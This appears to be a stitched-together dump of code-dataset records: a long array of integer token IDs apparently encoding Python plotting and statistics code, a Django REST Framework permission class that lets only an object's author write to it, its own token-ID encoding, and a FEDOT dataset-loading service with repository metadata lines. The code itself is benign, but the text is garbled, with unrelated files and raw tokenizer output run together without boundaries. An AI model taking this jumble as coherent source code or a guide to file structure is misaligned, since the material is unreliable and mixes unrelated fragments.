353, 9049, 5085, 1839, 22724, 2033, 13, 29937, 268, 4853, 29889, 842, 29918, 486, 7358, 29898, 19536, 7503, 29899, 29896, 2314, 13, 29937, 268, 4853, 29889, 842, 29918, 486, 860, 21134, 29898, 24667, 29918, 29880, 6897, 29892, 2927, 2433, 8517, 742, 2159, 29922, 29896, 29900, 29897, 13, 29937, 268, 4853, 29889, 842, 29918, 3637, 7358, 4197, 2314, 13, 268, 13, 29937, 268, 736, 4853, 13, 13, 13, 1753, 1065, 29918, 3733, 279, 29918, 5317, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 29937, 268, 1596, 29898, 2176, 29889, 2029, 7503, 29892, 19290, 1839, 22724, 2033, 2314, 13, 1678, 2099, 29918, 22724, 353, 1051, 29898, 2176, 29889, 2029, 7503, 29892, 19290, 1839, 22724, 2033, 1822, 12676, 29898, 8990, 29922, 29900, 876, 13, 1678, 2099, 29918, 22724, 29906, 353, 2099, 29918, 22724, 718, 2099, 29918, 22724, 7503, 29896, 29962, 13, 268, 13, 1678, 23619, 353, 518, 29876, 847, 7431, 29898, 12676, 29918, 22724, 29897, 334, 29871, 29906, 334, 7442, 29889, 1631, 363, 302, 297, 3464, 29898, 2435, 29898, 12676, 29918, 22724, 28166, 13, 1678, 23619, 353, 23619, 718, 23619, 7503, 29896, 29962, 13, 268, 13, 1678, 396, 6492, 11916, 13, 1678, 565, 525, 1491, 29918, 29876, 29915, 297, 9049, 5085, 29901, 13, 4706, 1014, 29918, 1272, 353, 4489, 29889, 6605, 29918, 5975, 877, 29876, 29918, 13445, 567, 742, 12066, 2548, 29922, 8824, 29897, 7503, 19290, 1839, 1491, 29918, 29876, 2033, 29962, 13, 1678, 1683, 29901, 13, 4706, 1014, 29918, 1272, 353, 4489, 13, 268, 13, 1678, 363, 1948, 29918, 13140, 29892, 1948, 297, 1014, 29918, 1272, 29961, 19290, 1839, 22724, 2033, 1822, 1524, 5727, 7295, 13, 4706, 1948, 29918, 1761, 353, 1051, 29898, 798, 29897, 13, 4706, 1948, 29918, 1761, 29906, 353, 1948, 29918, 1761, 718, 1948, 29918, 1761, 7503, 29896, 29962, 13, 4706, 565, 1134, 29898, 19290, 1839, 27703, 11287, 1360, 710, 29901, 13, 9651, 4853, 29889, 5317, 29898, 19536, 29892, 1948, 29918, 1761, 29906, 29892, 2927, 29922, 19290, 1839, 27703, 7464, 301, 29893, 29922, 29900, 29889, 29945, 29892, 15595, 29922, 29900, 29889, 29945, 29897, 13, 4706, 1683, 29901, 13, 9651, 4853, 29889, 5317, 29898, 19536, 29892, 1948, 29918, 1761, 29906, 29892, 2927, 29922, 19290, 1839, 27703, 2033, 29961, 798, 29918, 13140, 1402, 301, 29893, 29922, 29900, 29889, 29945, 29897, 13, 268, 13, 1678, 565, 9049, 5085, 1839, 485, 29887, 2033, 29901, 13, 4706, 396, 679, 363, 6588, 2927, 13, 4706, 1797, 353, 7442, 29889, 5085, 441, 29898, 12676, 29918, 22724, 9601, 1057, 29899, 29896, 29962, 13, 4706, 2246, 29918, 791, 353, 7442, 29889, 2378, 29898, 19290, 1839, 22724, 2033, 9601, 2098, 3816, 29900, 29962, 13, 13, 4706, 1029, 29887, 29918, 2780, 353, 9049, 5085, 1839, 29886, 26456, 2033, 29961, 3332, 29918, 791, 29962, 13, 308, 13, 4706, 4853, 29889, 5317, 29898, 19536, 29892, 2099, 29918, 22724, 29906, 29892, 2927, 29922, 485, 29887, 29918, 2780, 29892, 301, 29893, 29922, 29896, 29892, 6276, 342, 1508, 2433, 2929, 333, 742, 503, 2098, 29922, 29896, 29896, 29897, 13, 4706, 4853, 29889, 5589, 29898, 19536, 29892, 2099, 29918, 22724, 29906, 29892, 1029, 29887, 29918, 2780, 29892, 15595, 29922, 29900, 29889, 29945, 29892, 503, 2098, 29922, 29896, 29900, 29897, 13, 4706, 4853, 29889, 842, 29918, 29891, 2576, 29898, 29900, 29892, 7442, 29889, 3317, 29898, 12676, 29918, 22724, 29906, 876, 13, 1678, 1683, 29901, 13, 4706, 4853, 29889, 842, 29918, 29891, 2576, 29898, 29900, 29892, 7442, 29889, 3317, 29898, 1491, 29918, 1272, 29961, 19290, 1839, 22724, 2033, 1822, 3317, 22130, 13, 268, 13, 268, 13, 1678, 396, 16892, 11073, 13, 1678, 16892, 29918, 29880, 6897, 353, 9049, 5085, 1839, 22724, 2033, 13, 1678, 4853, 29889, 842, 29918, 486, 7358, 29898, 19536, 7503, 29899, 29896, 2314, 13, 1678, 4853, 29889, 842, 29918, 486, 860, 21134, 29898, 24667, 29918, 29880, 6897, 29892, 2927, 2433, 8517, 742, 2159, 29922, 29896, 29900, 29897, 13, 1678, 4853, 29889, 842, 29918, 3637, 7358, 4197, 2314, 13, 268, 13, 1678, 736, 4853, 13, 13, 13, 1753, 1065, 29918, 18784, 3538, 29898, 2176, 29892, 13, 462, 508, 29876, 29918, 22724, 29892, 1935, 29886, 29918, 22724, 1125, 13, 1678, 4489, 29918, 3601, 353, 10518, 29889, 17271, 29898, 13099, 29922, 1839, 29883, 812, 3788, 357, 29886, 3788, 497, 11287, 13, 1678, 363, 22645, 29892, 28730, 297, 26985, 4197, 29883, 812, 29918, 22724, 29892, 1935, 29886, 29918, 22724, 29892, 508, 29876, 29918, 22724, 29974, 357, 29886, 29918, 22724, 29962, 1125, 13, 4706, 565, 22645, 1360, 29906, 29901, 13, 9651, 4489, 29961, 22724, 29962, 353, 3080, 7976, 29636, 261, 2141, 9202, 29918, 9067, 29898, 2176, 29961, 22724, 1822, 5589, 1056, 29898, 29900, 876, 13, 4706, 1027, 29918, 1557, 2361, 353, 6776, 457, 29918, 29764, 537, 29898, 2176, 29961, 22724, 1822, 5589, 1056, 29898, 29900, 876, 13, 4706, 1027, 29918, 1557, 2361, 29961, 3601, 29918, 1557, 2361, 1405, 29871, 29900, 29889, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29962, 353, 7442, 29889, 13707, 13, 4706, 4489, 29918, 3601, 29889, 309, 542, 7503, 29892, 22645, 29962, 353, 7442, 29889, 13707, 12676, 29898, 3601, 29918, 1557, 2361, 29892, 9685, 29922, 29900, 29897, 13, 1678, 736, 4489, 29918, 3601, 13, 13, 13, 1753, 679, 29918, 7052, 29881, 29918, 29069, 29898, 2176, 29892, 508, 29876, 29892, 1935, 567, 1125, 13, 1678, 1060, 29918, 29883, 812, 353, 4489, 29961, 29883, 812, 1822, 5589, 1056, 29898, 29900, 29897, 13, 1678, 1060, 29918, 29883, 812, 29918, 15770, 353, 3080, 7976, 29636, 261, 2141, 9202, 29918, 9067, 29898, 29990, 29918, 29883, 812, 29897, 13, 13, 1678, 1060, 29918, 357, 567, 353, 4489, 29961, 357, 567, 1822, 5589, 1056, 29898, 29900, 29897, 13, 1678, 1060, 29918, 357, 567, 29918, 15770, 353, 3080, 7976, 29636, 261, 2141, 9202, 29918, 9067, 29898, 29990, 29918, 357, 567, 29897, 13, 13, 1678, 1060, 29918, 497, 353, 4489, 29961, 29883, 812, 29974, 357, 567, 1822, 5589, 1056, 29898, 29900, 29897, 13, 1678, 1060, 29918, 497, 29918, 15770, 353, 3080, 7976, 29636, 261, 2141, 9202, 29918, 9067, 29898, 29990, 29918, 497, 29897, 13, 268, 13, 1678, 736, 1060, 29918, 29883, 812, 29892, 1060, 29918, 29883, 812, 29918, 15770, 29892, 1060, 29918, 357, 567, 29892, 1060, 29918, 357, 567, 29918, 15770, 29892, 1060, 29918, 497, 29892, 1060, 29918, 497, 29918, 15770, 13, 13, 13, 1753, 1029, 29887, 29918, 4928, 29898, 29874, 29892, 29890, 1125, 13, 1678, 954, 353, 7442, 29889, 1707, 29898, 29874, 7240, 9302, 29889, 1707, 29898, 29890, 29897, 13, 1678, 736, 7442, 29889, 3676, 29898, 1949, 29914, 29906, 29897, 13, 13, 13, 1753, 679, 29918, 16202, 29898, 2176, 29892, 5101, 29892, 784, 1125, 13, 1678, 921, 353, 4489, 29889, 2029, 29961, 2176, 29961, 1054, 29962, 1360, 18784, 29961, 29900, 1402, 525, 1767, 2033, 13, 1678, 343, 353, 4489, 29889, 2029, 29961, 2176, 29961, 1054, 29962, 1360, 18784, 29961, 29896, 1402, 525, 1767, 2033, 13, 13, 1678, 260, 1688, 353, 885, 29879, 29889, 698, 342, 29918, 513, 29898, 29916, 29892, 343, 29892, 5186, 29918, 1707, 29922, 8824, 29897, 13, 1678, 270, 29918, 10080, 353, 313, 29916, 29889, 12676, 580, 29899, 29891, 29889, 12676, 3101, 29914, 485, 29887, 29918, 4928, 29898, 29916, 29892, 29891, 29897, 13, 268, 13, 268, 13, 1678, 11073, 353, 5159, 13, 1678, 565, 260, 1688, 29961, 29896, 29962, 529, 29871, 29896, 29872, 29899, 29941, 29900, 29900, 29901, 13, 4706, 11073, 29889, 4397, 877, 29886, 529, 29871, 29896, 29872, 29899, 29941, 29900, 29900, 1495, 13, 1678, 1683, 29901, 13, 4706, 11073, 29889, 4397, 877, 29886, 353, 12365, 29889, 29896, 29872, 29913, 4286, 4830, 29898, 698, 342, 29961, 29896, 12622, 13, 1678, 11073, 29889, 4397, 703, 29881, 29915, 543, 29974, 710, 29898, 9302, 29889, 14486, 29898, 9302, 29889, 6897, 29898, 29881, 29918, 10080, 511, 29906, 4961, 13, 268, 13, 1678, 736, 13420, 15300, 7122, 29898, 21134, 29897, 13, 268, 13, 13, 268, 13, 1753, 679, 29918, 10633, 29918, 2176, 29898, 2176, 29892, 302, 29918, 29879, 1160, 29918, 1195, 29892, 302, 29918, 10633, 29918, 1195, 29892, 13, 1669, 3619, 29918, 29883, 812, 6897, 29892, 13, 1669, 3619, 29918, 357, 567, 1125, 13, 1678, 302, 29918, 29879, 1160, 29918, 2176, 353, 4489, 29889, 27789, 18959, 19930, 29918, 5498, 2265, 3788, 4151, 262, 29918, 29517, 11287, 1839, 29884, 29918, 333, 13359, 2798, 580, 13, 1678, 4489, 353, 4489, 29889, 14634, 29898, 29876, 29918, 29879, 1160, 29918, 2176, 29889, 1267, 420, 877, 29876, 29918, 29879, 1160, 5477, 2175, 29918, 265, 29922, 1839, 19930, 29918, 5498, 2265, 3788, 4151, 262, 29918, 29517, 7464, 1492, 29918, 2248, 29922, 5574, 29897, 13, 268, 13, 1678, 396, 1653, 14297, 4489, 13, 1678, 11859, 29918, 2176, 353, 4489, 29889, 2029, 15625, 2176, 1839, 29876, 29918, 29879, 1160, 2033, 18572, 29876, 29918, 29879, 1160, 29918, 1195, 29897, 1822, 27789, 18959, 19930, 29918, 5498, 2265, 3788, 4151, 262, 29918, 29517, 2033, 9601, 9435, 29918, 29883, 812, 6897, 29974, 9435, 29918, 357, 567, 1822, 12676, 580, 13, 1678, 11859, 29918, 2176, 353, 679, 29918, 312, 29898, 10633, 29918, 2176, 29897, 13, 1678, 11859, 29918, 2176, 353, 11859, 29918, 2176, 29889, 12071, 29918, 2248, 29898, 8865, 29922, 8824, 29897, 13, 13, 1678, 396, 679, 302, 29918, 10633, 18139, 13, 1678, 302, 29918, 10633, 29918, 2176, 353, 11859, 29918, 2176, 29889, 27789, 877, 4151, 262, 29918, 29517, 1495, 1839, 19930, 29918, 5498, 2265, 13359, 2798, 580, 13, 1678, 11859, 29918, 2176, 353, 11859, 29918, 2176, 29889, 14634, 29898, 29876, 29918, 10633, 29918, 2176, 29889, 1267, 420, 877, 29876, 29918, 10633, 5477, 2175, 29918, 265, 2433, 4151, 262, 29918, 29517, 742, 1492, 29918, 2248, 29922, 5574, 29897, 13, 1678, 11859, 29918, 2176, 353, 11859, 29918, 2176, 29889, 14634, 29898, 29876, 29918, 29879, 1160, 29918, 2176, 29889, 1267, 420, 877, 29876, 29918, 13445, 567, 5477, 2175, 29918, 265, 29922, 1839, 19930, 29918, 5498, 2265, 3788, 4151, 262, 29918, 29517, 7464, 1492, 29918, 2248, 29922, 5574, 29897, 13, 268, 13, 1678, 396, 11306, 304, 302, 29918, 10633, 29918, 1195, 322, 266, 29883, 29899, 3129, 13, 1678, 1436, 29918, 10633, 29918, 2176, 353, 11859, 29918, 2176, 29889, 2029, 15625, 10633, 29918, 2176, 1839, 29876, 29918, 10633, 2033, 18572, 29876, 29918, 10633, 29918, 1195, 29897, 1822, 6605, 29918, 5975, 18959, 29876, 29918, 10633, 3788, 4151, 262, 29918, 29517, 3788, 19930, 29918, 5498, 2265, 7464, 12066, 2548, 11759, 8824, 29892, 7700, 29892, 5852, 14664, 8552, 580, 13, 1678, 1436, 29918, 10633, 29918, 2176, 1839, 4151, 262, 29918, 29517, 2033, 353, 1436, 29918, 10633, 29918, 2176, 1839, 4151, 262, 29918, 29517, 13359, 579, 668, 29898, 710, 29897, 13, 268, 13, 1678, 736, 1436, 29918, 10633, 29918, 2176, 13, 13, 13, 1753, 679, 29918, 7830, 29918, 8977, 29898, 2176, 29892, 3619, 29918, 357, 567, 29892, 1935, 29886, 29918, 8977, 1125, 13, 1678, 5112, 29918, 8977, 353, 6571, 13, 1678, 363, 3858, 297, 731, 29898, 2176, 1839, 29895, 1004, 550, 29918, 1643, 2033, 1125, 13, 4706, 1935, 29886, 29918, 2098, 353, 4489, 29889, 2029, 29961, 2176, 1839, 29895, 1004, 550, 29918, 1643, 2033, 1360, 1643, 29892, 3619, 29918, 357, 567, 1822, 12676, 2141, 6605, 29918, 5975, 29898, 6151, 2548, 29922, 8824, 29897, 13, 4706, 5112, 29918, 8977, 29961, 1643, 29962, 353, 1935, 29886, 29918, 8977, 29961, 357, 29886, 29918, 2098, 7503, 29896, 1822, 2248, 29961, 29900, 5262, 13, 1678, 736, 5112, 29918, 8977, 13, 13, 13, 1753, 679, 29918, 29895, 1004, 550, 29898, 2176, 29892, 3619, 29918, 357, 567, 29892, 13, 795, 413, 29922, 29941, 1125, 13, 1678, 4489, 29918, 12324, 29892, 3948, 29892, 1904, 353, 1065, 29918, 29886, 1113, 29898, 2176, 29892, 3619, 29918, 357, 567, 29892, 6056, 29922, 5574, 29892, 302, 29918, 14036, 29922, 29941, 29897, 13, 13, 1678, 396, 731, 701, 413, 1004, 550, 13, 1678, 16993, 353, 476, 6816, 550, 29898, 29941, 29892, 4036, 29918, 3859, 29922, 29945, 29953, 29897, 13, 13, 1678, 396, 679, 9867, 11073, 13, 1678, 4489, 29918, 12324, 1839, 29895, 1004, 550, 29918, 1643, 2033, 353, 16993, 29889, 9202, 29918, 27711, 29898, 2176, 29918, 12324, 29961, 9435, 29918, 357, 567, 2314, 13, 1678, 16993, 29918, 8977, 353, 426, 29916, 29901, 29891, 363, 921, 29892, 29891, 297, 14319, 29898, 2176, 29918, 12324, 1839, 29895, 1004, 550, 29918, 1643, 13359, 1767, 29918, 2798, 29879, 2141, 2248, 29892, 6024, 29909, 3788, 29933, 3788, 29907, 2033, 2915, 13, 1678, 4489, 29918, 12324, 1839, 29895, 1004, 550, 29918, 1643, 2033, 353, 4489, 29918, 12324, 1839, 29895, 1004, 550, 29918, 1643, 13359, 6506, 29898, 695, 504, 29918, 8977, 29897, 13, 268, 13, 1678, 736, 4489, 29918, 12324, 13, 13, 13, 1753, 679, 29918, 398, 481, 29898, 2176, 29892, 3619, 29918, 357, 567, 29892, 13, 9651, 302, 29918, 484, 1141, 29890, 943, 29922, 29953, 29892, 13, 9651, 4036, 29918, 3859, 29922, 29945, 29953, 1125, 13, 1678, 1922, 481, 29918, 353, 501, 23827, 29898, 29876, 29918, 14036, 29922, 29906, 29892, 302, 29918, 484, 1141, 29890, 943, 29922, 29876, 29918, 484, 1141, 29890, 943, 29892, 13, 462, 4036, 29918, 3859, 29922, 8172, 29918, 3859, 29897, 13, 13, 1678, 1060, 29918, 357, 567, 29918, 398, 481, 353, 1922, 481, 5396, 9202, 29918, 9067, 29898, 2176, 29961, 9435, 29918, 357, 567, 2314, 13, 13, 1678, 4489, 1839, 398, 481, 29918, 29900, 2033, 353, 1060, 29918, 357, 567, 29918, 398, 481, 7503, 29892, 29900, 29962, 13, 1678, 4489, 1839, 398, 481, 29918, 29896, 2033, 353, 1060, 29918, 357, 567, 29918, 398, 481, 7503, 29892, 29896, 29962, 13, 268, 13, 1678, 736, 4489, 13, 13, 13, 1753, 679, 29918, 14486, 29898, 2749, 29892, 4365, 29918, 1003, 29922, 29896, 1125, 13, 1678, 736, 7442, 29889, 14486, 29898, 2749, 29930, 29896, 29900, 29900, 29892, 18816, 29918, 1003, 29897, 13, 13, 13, 1753, 679, 29918, 3944, 29918, 3601, 29898, 2176, 29892, 788, 29918, 13707, 29922, 8824, 1125, 13, 1678, 1027, 29918, 1557, 2361, 353, 6776, 457, 29918, 29764, 537, 29898, 2176, 29897, 13, 1678, 565, 788, 29918, 13707, 29901, 13, 4706, 1027, 29918, 1557, 2361, 29961, 3601, 29918, 1557, 2361, 1405, 29871, 29900, 29889, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29962, 353, 7442, 29889, 13707, 13, 1678, 1683, 29901, 13, 4706, 1027, 29918, 1557, 2361, 29961, 3601, 29918, 1557, 2361, 1405, 29871, 29900, 29889, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29962, 353, 29871, 29896, 13, 1678, 736, 1027, 29918, 1557, 2361, 13, 13, 13, 1753, 2318, 29918, 3944, 29918, 3601, 29898, 2176, 29892, 2318, 29918, 5563, 29922, 8824, 1125, 13, 1678, 565, 4489, 29889, 12181, 29961, 29900, 29962, 1360, 29896, 29901, 13, 4706, 396, 565, 871, 697, 3234, 29892, 437, 451, 736, 6776, 1027, 13, 4706, 736, 7442, 29889, 13707, 13, 1678, 1683, 29901, 13, 4706, 1027, 29918, 1557, 2361, 353, 679, 29918, 3944, 29918, 3601, 29898, 2176, 29892, 788, 29918, 13707, 29922, 5574, 29897, 13, 4706, 565, 2318, 29918, 5563, 29901, 13, 9651, 736, 7442, 29889, 12676, 29898, 9302, 29889, 13707, 12676, 29898, 3601, 29918, 1557, 2361, 29892, 9685, 29922, 29900, 876, 13, 4706, 1683, 29901, 13, 9651, 736, 1051, 29898, 9302, 29889, 13707, 12676, 29898, 3601, 29918, 1557, 2361, 29892, 9685, 29922, 29900, 876, 13, 308, 13, 308, 13, 1753, 3402, 29918, 2176, 29898, 2176, 1125, 13, 1678, 736, 4489, 29889, 24516, 356, 2141, 517, 29918, 2557, 2141, 1267, 420, 29898, 13099, 3790, 29900, 11283, 29890, 29893, 29918, 10633, 29918, 3601, 29915, 7690, 12071, 29918, 2248, 29898, 8865, 29922, 8824, 29897, 13, 13, 13, 1753, 7688, 287, 29918, 485, 29887, 29898, 485, 3174, 29892, 18177, 1125, 13, 1678, 736, 7442, 29889, 12483, 482, 29898, 485, 3174, 29892, 18177, 29922, 705, 5861, 29897, 13, 13, 13, 1753, 1065, 29918, 497, 29918, 3944, 29918, 3601, 29879, 29898, 2176, 29892, 28730, 29892, 13, 462, 1678, 2318, 1609, 2433, 4151, 262, 29918, 29517, 29374, 13, 1678, 6471, 353, 4489, 29889, 27789, 29898, 27789, 9601, 22724, 29962, 13, 1678, 289, 29893, 29918, 10633, 29918, 2176, 353, 3402, 29918, 2176, 29898, 13155, 29889, 7302, 29898, 2892, 921, 29901, 2318, 29918, 3944, 29918, 3601, 29898, 29916, 4961, 13, 268, 13, 1678, 1029, 3174, 353, 6471, 29889, 7302, 29898, 2892, 921, 29901, 2318, 29918, 3944, 29918, 3601, 29898, 29916, 29892, 2318, 29918, 5563, 29922, 5574, 876, 13, 1678, 18177, 353, 6471, 29889, 2311, 580, 29961, 13155, 29889, 2311, 580, 29958, 29896, 29962, 13, 268, 13, 1678, 736, 289, 29893, 29918, 10633, 29918, 2176, 29892, 1029, 3174, 29892, 18177, 13, 13, 13, 13, 1753, 1065, 29918, 29895, 311, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 694, 29918, 13707, 353, 4489, 29889, 8865, 1056, 29898, 6484, 11759, 19290, 1839, 29916, 7464, 9049, 5085, 1839, 29891, 2033, 1402, 920, 2433, 1384, 1495, 13, 1678, 1014, 29918, 2176, 353, 4559, 29918, 2176, 29898, 1217, 29918, 13707, 29892, 9049, 5085, 1839, 11249, 29918, 1154, 11287, 13, 268, 13, 1678, 903, 353, 269, 1983, 29889, 29895, 311, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 13, 462, 1678, 343, 29922, 19290, 1839, 29891, 7464, 13, 1669, 848, 29922, 1491, 29918, 2176, 29892, 13, 1669, 5445, 29922, 5574, 29892, 13, 1669, 274, 1958, 2433, 29934, 29881, 3727, 29918, 29878, 742, 13, 1669, 274, 1646, 29922, 5574, 29892, 13, 1669, 325, 1195, 29922, 29900, 29892, 13, 1669, 11174, 29922, 29955, 29945, 29892, 13, 1669, 4853, 29922, 1165, 29897, 13, 268, 13, 1678, 736, 4853, 13, 13, 13, 1753, 1065, 29918, 1220, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 903, 353, 4853, 29889, 5317, 29898, 19290, 1839, 29916, 7464, 9049, 5085, 1839, 29891, 11287, 13, 1678, 736, 4853, 13, 13, 13, 13, 1753, 1065, 29918, 1557, 2620, 29918, 29945, 29898, 2176, 29892, 4853, 29892, 3579, 19290, 1125, 13, 1678, 694, 29918, 13707, 353, 4489, 29889, 8865, 1056, 29898, 6484, 11759, 19290, 1839, 29916, 7464, 9049, 5085, 1839, 29891, 2033, 1402, 920, 2433, 1384, 1495, 13, 1678, 1014, 29918, 2176, 353, 4559, 29918, 2176, 29898, 1217, 29918, 13707, 29892, 9049, 5085, 1839, 11249, 29918, 1154, 11287, 13, 268, 13, 1678, 565, 525, 2311, 29915, 297, 9049, 5085, 29901, 13, 4706, 269, 353, 9049, 5085, 1839, 2311, 2033, 13, 1678, 1683, 29901, 13, 4706, 269, 353, 286, 572, 29889, 2214, 9629, 1839, 9012, 29889, 3502, 414, 675, 2033, 1068, 29906, 13, 308, 13, 1678, 565, 525, 12864, 2780, 29915, 297, 9049, 5085, 29901, 13, 4706, 21226, 353, 9049, 5085, 1839, 12864, 2780, 2033, 13, 1678, 1683, 29901, 13, 4706, 21226, 353, 525, 10921, 29915, 13, 13, 1678, 298, 434, 29918, 2098, 353, 6024, 4690, 29907, 29899, 11096, 742, 525, 22031, 3446, 29907, 29914, 21685, 29928, 742, 525, 21685, 29928, 29899, 11096, 2033, 13, 1678, 269, 29918, 27703, 353, 6024, 26031, 9539, 742, 525, 1655, 295, 9539, 742, 525, 8517, 2033, 13, 1678, 269, 29918, 3502, 414, 353, 6024, 29928, 742, 525, 29985, 742, 525, 29877, 2033, 13, 268, 13, 1678, 363, 274, 29873, 29892, 2927, 29892, 17456, 297, 14319, 29898, 29882, 434, 29918, 2098, 29892, 269, 29918, 27703, 29892, 269, 29918, 3502, 414, 1125, 13, 4706, 565, 274, 29873, 1360, 29915, 4690, 29907, 29899, 11096, 2396, 13, 9651, 269, 1983, 29889, 1557, 2620, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 9651, 848, 29922, 1491, 29918, 2176, 29889, 2029, 29961, 2176, 1839, 14969, 327, 668, 2033, 1360, 312, 1402, 15595, 21098, 29945, 29892, 13, 462, 9651, 2927, 29922, 2780, 29892, 13, 462, 9651, 17456, 29922, 22976, 29892, 13, 462, 9651, 269, 29922, 29906, 29945, 29892, 13, 462, 9651, 7636, 2780, 2433, 10921, 742, 13, 462, 9651, 1196, 2103, 29922, 29900, 29889, 29945, 29892, 13, 462, 9651, 3858, 29922, 312, 29892, 13, 462, 9651, 4853, 29922, 1165, 29897, 13, 4706, 1683, 29901, 13, 9651, 269, 1983, 29889, 1557, 2620, 5317, 29898, 29916, 29922, 19290, 1839, 29916, 7464, 343, 29922, 19290, 1839, 29891, 7464, 13, 462, 9651, 848, 29922, 1491, 29918, 2176, 29889, 2029, 29961, 2176, 1839, 14969, 327, 668, 2033, 1360, 312, 1402, 15595, 29922, 29896, 29892, 13, 462, 9651, 2927, 29922, 2780, 29892, 13, 462, 9651, 17456, 29922, 22976, 29892, 13, 462, 9651, 269, 29922, 29906, 29945, 29892, 13, 462, 9651, 7636, 2780, 2433, 10921, 742, 13, 462, 9651, 1196, 2103, 29922, 29900, 29889, 29945, 29892, 13, 462, 9651, 3858, 29922, 312, 29892, 13, 462, 9651, 4853, 29922, 1165, 29897, 259, 13, 13, 268, 396, 3160, 2989, 17534, 13, 1678, 17766, 29892, 11073, 353, 4853, 29889, 657, 29918, 26172, 29918, 3179, 793, 29918, 21134, 580, 13, 13, 1678, 565, 525, 29876, 29918, 4990, 29915, 297, 9049, 5085, 29901, 13, 4706, 11073, 29918, 29876, 353, 17288, 4117, 29892, 4489, 29889, 2029, 29961, 2176, 29961, 19290, 1839, 29882, 434, 2033, 29962, 1360, 4117, 1822, 12181, 29961, 29900, 2314, 363, 6635, 297, 298, 434, 29918, 2098, 29962, 13, 4706, 11073, 353, 518, 4117, 29974, 12764, 15755, 2433, 29974, 710, 29898, 29876, 29897, 363, 6635, 29892, 302, 297, 11073, 29918, 29876, 29962, 13, 13, 4706, 4853, 29889, 26172, 29898, 3179, 793, 29922, 3179, 793, 7503, 19290, 1839, 29876, 29918, 4990, 2033, 1402, 11073, 29922, 21134, 7503, 19290, 1839, 29876, 29918, 4990, 2033, 1402, 3611, 29922, 19290, 1839, 29882, 434, 13359, 3257, 3285, 4386, 2848, 29922, 29946, 29897, 13, 1678, 1683, 29901, 13, 4706, 11073, 29918, 29876, 353, 17288, 4117, 29892, 4489, 29889, 2029, 29961, 2176, 29961, 19290, 1839, 29882, 434, 2033, 29962, 1360, 4117, 1822, 12181, 29961, 29900, 2314, 363, 6635, 297, 298, 434, 29918, 2098, 29962, 13, 4706, 11073, 353, 518, 4117, 29974, 12764, 15755, 2433, 29974, 710, 29898, 29876, 29897, 363, 6635, 29892, 302, 297, 11073, 29918, 29876, 29962, 13, 13, 4706, 4853, 29889, 26172, 29898, 3179, 793, 29922, 3179, 793, 29892, 11073, 29922, 21134, 29892, 3611, 29922, 19290, 1839, 29882, 434, 13359, 3257, 3285, 4386, 2848, 29922, 29946, 29897, 13, 268, 13, 1678, 736, 4853, 13, 2 ]
QuestionTime/questions/api/permissions.py
pogginicolo98/QuestionTime
0
170789
from rest_framework import permissions class IsAuthorOrReadOnly(permissions.BasePermission): """ * Everyone can use safe methods ('GET', 'HEAD', 'OPTIONS') * Users can write data (create, update, ecc..) only for their own Question instances. """ def has_object_permission(self, request, view, obj): if request.method in permissions.SAFE_METHODS: return True return obj.author == request.user
[ 1, 515, 1791, 29918, 4468, 1053, 11239, 13, 13, 13, 1990, 1317, 13720, 2816, 6359, 11730, 29898, 17858, 6847, 29889, 5160, 27293, 1125, 13, 1678, 9995, 13, 1678, 334, 7569, 650, 508, 671, 9109, 3519, 6702, 7194, 742, 525, 23252, 742, 525, 14094, 27946, 1495, 13, 1678, 334, 23861, 508, 2436, 848, 313, 3258, 29892, 2767, 29892, 16882, 636, 29897, 871, 363, 1009, 1914, 894, 8871, 29889, 13, 1678, 9995, 13, 13, 1678, 822, 756, 29918, 3318, 29918, 16074, 29898, 1311, 29892, 2009, 29892, 1776, 29892, 5446, 1125, 13, 4706, 565, 2009, 29889, 5696, 297, 11239, 29889, 29903, 5098, 29923, 29918, 2303, 4690, 29949, 8452, 29901, 13, 9651, 736, 5852, 13, 4706, 736, 5446, 29889, 8921, 1275, 2009, 29889, 1792, 13, 2 ]
app/api/data/service.py
nccr-itmo/FedotWeb
1
39659
from pathlib import Path from typing import List, Optional, Tuple from app.api.meta.service import task_type_from_id from fedot.core.data.data import DataTypesEnum, InputData from fedot.core.repository.tasks import Task, TaskParams, TsForecastingParams from flask import current_app from utils import project_root default_datasets = { 'scoring': { 'train': 'scoring/scoring_train.csv', 'test': 'scoring/scoring_test.csv', 'data_type': DataTypesEnum.table }, 'metocean': { 'train': 'metocean/metocean_train.csv', 'test': 'metocean/metocean_test.csv', 'data_type': DataTypesEnum.ts }, 'oil': { 'train': 'oil/oil_train.csv', 'test': 'oil/oil_test.csv', 'data_type': DataTypesEnum.table } } data_types = { 'ts': DataTypesEnum.ts, 'table': DataTypesEnum.table, 'image': DataTypesEnum.image, 'text': DataTypesEnum.text, } def get_datasets_names() -> List[str]: return list(default_datasets) def get_dataset_metadata(dataset_name: str, sample_type: str) -> Tuple[int, int]: data = get_input_data(dataset_name, sample_type) if data is None: raise ValueError(f'Data for dataset_name={dataset_name} with sample_type={sample_type} must exists') if len(data.features.shape) > 1: n_features, n_rows = data.features.shape[1], data.features.shape[0] else: n_features, n_rows = 1, len(data.features) return n_features, n_rows def get_input_data(dataset_name: str, sample_type: str, task_type: Optional[str] = None, task_params: Optional[TaskParams] = None) -> Optional[InputData]: try: dataset = default_datasets[dataset_name] data_path = dataset[sample_type] if task_params is None and task_type == 'ts_forecasting': # forecast_length should be defined task_params = TsForecastingParams(forecast_length=30) task = Task(task_type_from_id(task_type), task_params) if task_type is not None else None file_path = Path(project_root(), 'data', data_path) if dataset['data_type'] == DataTypesEnum.ts: data = InputData.from_csv_time_series(file_path=file_path, task=task, target_column='target') else: data = InputData.from_csv(file_path=file_path, task=task, data_type=dataset['data_type']) return data except KeyError as ex: print(f'Dataset {dataset_name} has no data for {sample_type}: {ex}') return None
